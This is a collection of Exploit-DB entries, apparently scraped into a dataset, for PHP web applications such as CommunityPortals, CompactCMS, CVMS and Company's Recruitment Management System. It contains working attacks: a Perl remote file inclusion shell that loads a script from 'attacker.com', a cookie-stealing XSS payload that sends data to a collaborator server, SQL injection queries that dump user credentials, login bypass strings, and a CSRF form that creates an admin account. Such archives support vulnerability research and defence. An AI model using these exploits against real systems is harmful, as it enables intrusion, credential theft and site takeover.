deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2516
Description: CommunityPortals 1.0 - 'import-archive.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-11
Author: Nima Salehi

Exploit:
#!/usr/bin/perl
 
#################################################################
#                                                               #
#            CommunityPortals Build 12-31-18                    #
#                                                               #
# Class:     Remote File Include Vulnerability                  #
#                                                               #
# Patch:     unavailable                                        #
#                                                               #
# Date:      2006/10/11                                         #
#                                                               #
# Remote:    Yes                                                #
#                                                               #
# Type:      high                                               #
#                                                               #
# Site:      http://www.leicestershirecommunity.com             #
#                                                               #
#################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# CommunityPortals <= 1.0   Remote File Include Vulnerability   #\n";
print "# Bug found By : Ashiyane Corporation                           #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                     #\n";
print "# Web Site : www.Ashiyane.ir                                    #\n";
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /CommunityPortals/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."includes/import-archive.php?cp_root_path=".$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-11]
Exploit-DB #27459
Description: CoMoblog 1.0 - 'Img.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-23
Author: FarhadKey

Exploit:
source: https://www.securityfocus.com/bid/17201/info

CoMoblog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/img.php?i=[CODE]
Exploit-DB #12613
Description: CompactCMS 1.4.0 - 'tiny_mce' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-15
Author: ITSecTeam

Exploit:
##########################################################
#Title: CompactCMS 1.4.0 (tiny_mce) Remote File Upload
#Vendor: http://www.compactcms.nl/
##########################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability52.htm
#Thanks: r3dm0v3, pejvak, am!rkh@n
##########################################################

#DESCRIPTION (by vendor):#################################
CompactCMS might just be the tenth CMS you considered using for your website.
If that's true, ask yourself why you haven't found the right Content
Management
System just yet. CompactCMS is light-weight, truly efficient and fully
Ajax loaded.

#POC:#####################################################
http://site.com/admin/includes/tiny_mce/plugins/
tinybrowser/upload.php
Exploit-DB #35004
Description: CompactCMS 1.4.1 - Multiple Cross-Site Scripting Vulnerabilities (1)
Type: webapps
Platform: php
Date: 2010-11-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/44949/info

CompactCMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

CompactCMS 1.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?a="><script>alert("XSS");</script>
<form action="http://www.example.com/lib/includes/auth.inc.php" method="post" name="main" >
<input type="hidden" name="userName" value="123&#34;><script>alert(&#34;XSS&#34;);</script>" />
<input type="hidden" name="userPass" value="123" />
<input type="submit" value="Submit" name="submit" />
</form>
Exploit-DB #35228
Description: CompactCMS 1.4.1 - Multiple Cross-Site Scripting Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2011-01-15
Author: Patrick de Brouwer

Exploit:
source: https://www.securityfocus.com/bid/45819/info

CompactCMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied script code may be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

CompactCMS 1.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/afdrukken.php?page=">[XSS]
http://www.example.com/admin/includes/modules/permissions/permissions.Manage.php?status=notice&msg=[XSS]
Exploit-DB #15996
Description: CompactCMS 1.4.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-15
Author: Patrick de Brouwer

Exploit:
# Exploit Title: CompactCMS 1.4.1 Multiple Vulnerabilities
# Google Dork: 	 intext:"Maintained with CompactCMS.nl" intitle:"Print: *"
# Date:          17-12-2010
# Author:        NLSecurity
# Software Link: http://files.compactcms.nl/stable/
# Version:       CompactCMS 1.4.1
# Credits:       http://www.nlsecurity.org/
# Extra:         irc.6667.eu  #main

Description:

CompactCMS 1.4.1 has multiple XSS and File Disclosure vulnerabilities. These file disclosures will
appear if the users have access to view open directories.

--- File Disclosures ---

/admin/includes/modules/backup-restore/
/admin/includes/modules/backup-restore/content-owners/
/admin/includes/modules/backup-restore/module-management/
/admin/includes/modules/backup-restore/permissions/
/admin/includes/modules/backup-restore/template-editor/
/admin/includes/modules/backup-restore/user-management/

/admin/includes/fancyupload/
/admin/includes/fancyupload/Assets/
/admin/includes/fancyupload/Assets/Icons/

/admin/includes/fancyupload/Backend/
/admin/includes/fancyupload/Backend/Assets/
/admin/includes/fancyupload/Backend/Assets/getid3/

/admin/includes/fancyupload/Language/
/admin/includes/fancyupload/Source/
/admin/includes/fancyupload/Source/Uploader/

/admin/includes/edit_area/
/admin/includes/edit_area/images/
/admin/includes/edit_area/langs/
/admin/includes/edit_area/reg_syntax/

/admin/img/mochaui/
/admin/img/styles/
/admin/img/uploader/

/_docs/

... Perhaps more, but this should give an idea. :-)

--- Cross-Site Scripting Vulnerabilities (XSS) ---

/afdrukken.php?page=">[XSS]

This can be found on line 48:
<strong><a href="<?php echo $ccms['rootdir'];?><?php echo ($_GET['page']!=$cfg['homepage'])?$_GET['page'].'.html':null; ?>"><?php echo $ccms['lang']['system']['tooriginal']; ?></a></strong>
Vuln: $_GET['page']

---

/admin/includes/modules/permissions/permissions.Manage.php?status=notice&msg=[XSS]

This can be found on line 62:
<?php if(isset($_GET['msg'])) { echo '<span class="ss_sprite ss_confirm">'.$_GET['msg'].'</span>'; } ?>
Vuln: $_GET['msg']

---

/lib/includes/auth.inc.php
Username input field (userName) has an XSS vulnerability when using POST data.

This can be found on line 119:
<label for="userName"><?php echo $ccms['lang']['login']['username']; ?></label><input type="text" class="alt title" autofocus placeholder="username" name="userName" style="width:300px;" value="<?php echo (!empty($_POST['userName'])?$_POST['userName']:null);?>" id="userName" />
Vuln: $_POST['userName']
Exploit-DB #15561
Description: CompactCMS 1.4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-16
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22697
Reference: http://www.htbridge.ch/advisory/sql_injection_in_compactcms.html
Product: CompactCMS
Vendor: compactcms.nl ( http://www.compactcms.nl/ ) 
Vulnerable Version: 1.4.1
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "News" module to properly sanitize user-supplied input in "id" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://compactcms/news.html?id=123%20union%20select%201,1,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23


Solution: Upgrade to the most recent version
Exploit-DB #48884
Description: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-16
Author: Oğuz Türkgenç

Exploit:
# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
# Date: 16/10/2020
# Exploit Author: Oğuz Türkgenç
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602
# Version: 1.0
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3

Step 1: Open the URL http://localhost/cvms/index.php

Step 2: use payload ot' or 1=1# in user and password field

Malicious Request

POST /cvms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.175.128/cvms/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://localhost
Connection: close
Cookie: lang=english; PHPSESSID=qkg4nmdq97r4jkvkm4raa34660
Upgrade-Insecure-Requests: 1

username=ot%27+or+1%3D1+%23&password=ot%27+or+1%3D1+%23&login=

Step 3: You will be logged in as admin.
Exploit-DB #50424
Description: Company's Recruitment Management System 1.0 -  'description' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-18
Author: Aniket Deshmane

Exploit:
# Exploit Title: Company's Recruitment Management System 1.0 -  'description' Stored Cross-Site Scripting (XSS)
# Date: 18-10-2021
# Exploit Author: Aniket Anil Deshmane
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Version: 1
# Tested on: Windows 10,XAMPP

Step to reproduce:-
1)Login with staff account & Navigate to  Vacancies tab.

2)Click on add new vacancies .Put any random information  on other field except description & go to the description window .

3)In the description field  select insert  link .

5) In Text to display the field add the following payload .

"><img src=x onerror=alert(1)>

*6)Click on save & you are done.It's gonna be triggered when some one open
vacancies details  *

Request:-

POST /employment_application/Actions.php?a=save_vacancy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0)
Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 1012
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/employment_application/admin/?page=vacancies
Cookie: PHPSESSID=ah0lpri38n5c4ke3idhbkaabfa
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="title"

Test1ee
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="designation_id"

4
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="slots"

1
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="status"

1
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="description"

<p><br><a href="http://google.com" target="_blank">"><img src="x"
onerror="alert(1)"></a></p>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #50425
Description: Company's Recruitment Management System 1.0 - 'Add New user' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-10-18
Author: Aniket Deshmane

Exploit:
# Exploit Title: Company's Recruitment Management System 1.0 - 'Add New user' Cross-Site Request Forgery (CSRF)
# Date: 18-10-2021
# Exploit Author: Aniket Anil Deshmane
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Version: 1
# Tested on: Windows 10,XAMPP

Detail:
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using a crafted post request.

CSRF POC:-


<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/employment_application/Actions.php?a=save_user"
method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="fullname" value="Test" />
<input type="hidden" name="username" value="Test" />
<input type="hidden" name="type" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Exploit-DB #50404
Description: Company's Recruitment Management System 1.0 - 'Multiple' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-10-13
Author: Yash Mahajan

Exploit:
# Title: Company's Recruitment Management System 1.0 - 'Multiple' SQL Injection (Unauthenticated)
# Exploit Author: Yash Mahajan 
# Date: 2021-10-09
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Version: 1
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameters: "id" , "username"

Steps to Reproduce:

A) SQL Injection (Authentication Bypass)

1) Navigate to http://localhost/employment_application/admin/login.php
2) Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3) Click on "Login" button and you are logged in as administrator.

Request:
========

POST /employment_application/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://localhost
Connection: close
Referer: http://localhost/employment_application/admin/login.php
Cookie: PHPSESSID=fk1gp1s7stu7kitjmhvjfakjqk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+-&password=admin

--------------------------------------------------------------------------------

B)

1) Vulnerable Parameter: "id"
2) Sqlmap Command to get retrieve tables from the database
3) python sqlmap.py -u "http://localhost/employment_application/?page=view_vacancy&id=1"  --level=3 --risk=2 --banner --dbms=sqlite --tables
Exploit-DB #50421
Description: Company's Recruitment Management System 1.0. - 'title' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-18
Author: Aniket Deshmane

Exploit:
# Exploit Title: Company's Recruitment Management System 1.0. - 'title' Stored Cross-Site Scripting (XSS)
# Date: 17-10-2021
# Exploit Author: Aniket Deshmane
# Vendor Homepage: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/employment_application.zip
# Version: 1
# Tested on: Windows 10,XAMPP

Steps to Reproduce:
1)Navigate to http://127.0.0.1/employment_application & Login with staff account .
2) Navigate to vacancies tab
3) Click on Add new .
4)Add Payload
"><img src=x onerror=alert(1)>

in Vacancy Title field.

5)Click on Save and you are done. It's gonna be triggered when anyone
visits the application.

Request:-

POST /employment_application/Actions.php?a=save_vacancy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Length: 931
Origin: http://127.0.0.1
DNT: 1
Connection: close
Cookie: PHPSESSID=e00mbu2u5cojpsh5jkaj9pjlfc
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Cache-Control: no-transform

----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="title"

"><img src=x onerror=alert(1)>
----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="designation_id"

1
----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="slots"

1
----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="status"

1
----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="description"


----------------------------[PII_REDACTED][PII_REDACTED]659366422
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]659366422--
Exploit-DB #51417
Description: Companymaps v8.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-02
Author: Lucas Noki (0xPrototype)

Exploit:
# Exploit Title: Companymaps V8.0 - Stored Cross Site Scripting (XSS)
# Date: 27.04.2023
# Exploit Author: Lucas Noki (0xPrototype)
# Vendor Homepage: https://github.com/vogtmh
# Software Link: https://github.com/vogtmh/cmaps
# Version: 8.0
# Tested on: Mac, Windows, Linux
# CVE : CVE-2023-29983

*Steps to reproduce:*
1. Clone the repository and install the application
2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=
3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>
4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.
5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog
6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameter

In a real world case you would need to wait for the admin to log into the application and open the auditlog tab.

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.
Exploit-DB #32875
Description: Comparison Engine Power 1.0 - 'product.comparision.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-25
Author: SirGod

Exploit:
source: https://www.securityfocus.com/bid/34232/info

Comparison Engine Power is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Comparison Engine Power 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/comparisonengine/product.comparision.php?cat=null union all select 1,concat_ws(0x3a,id,email,password,nickname),3,4,5 from daype_users_tb--&name=GSM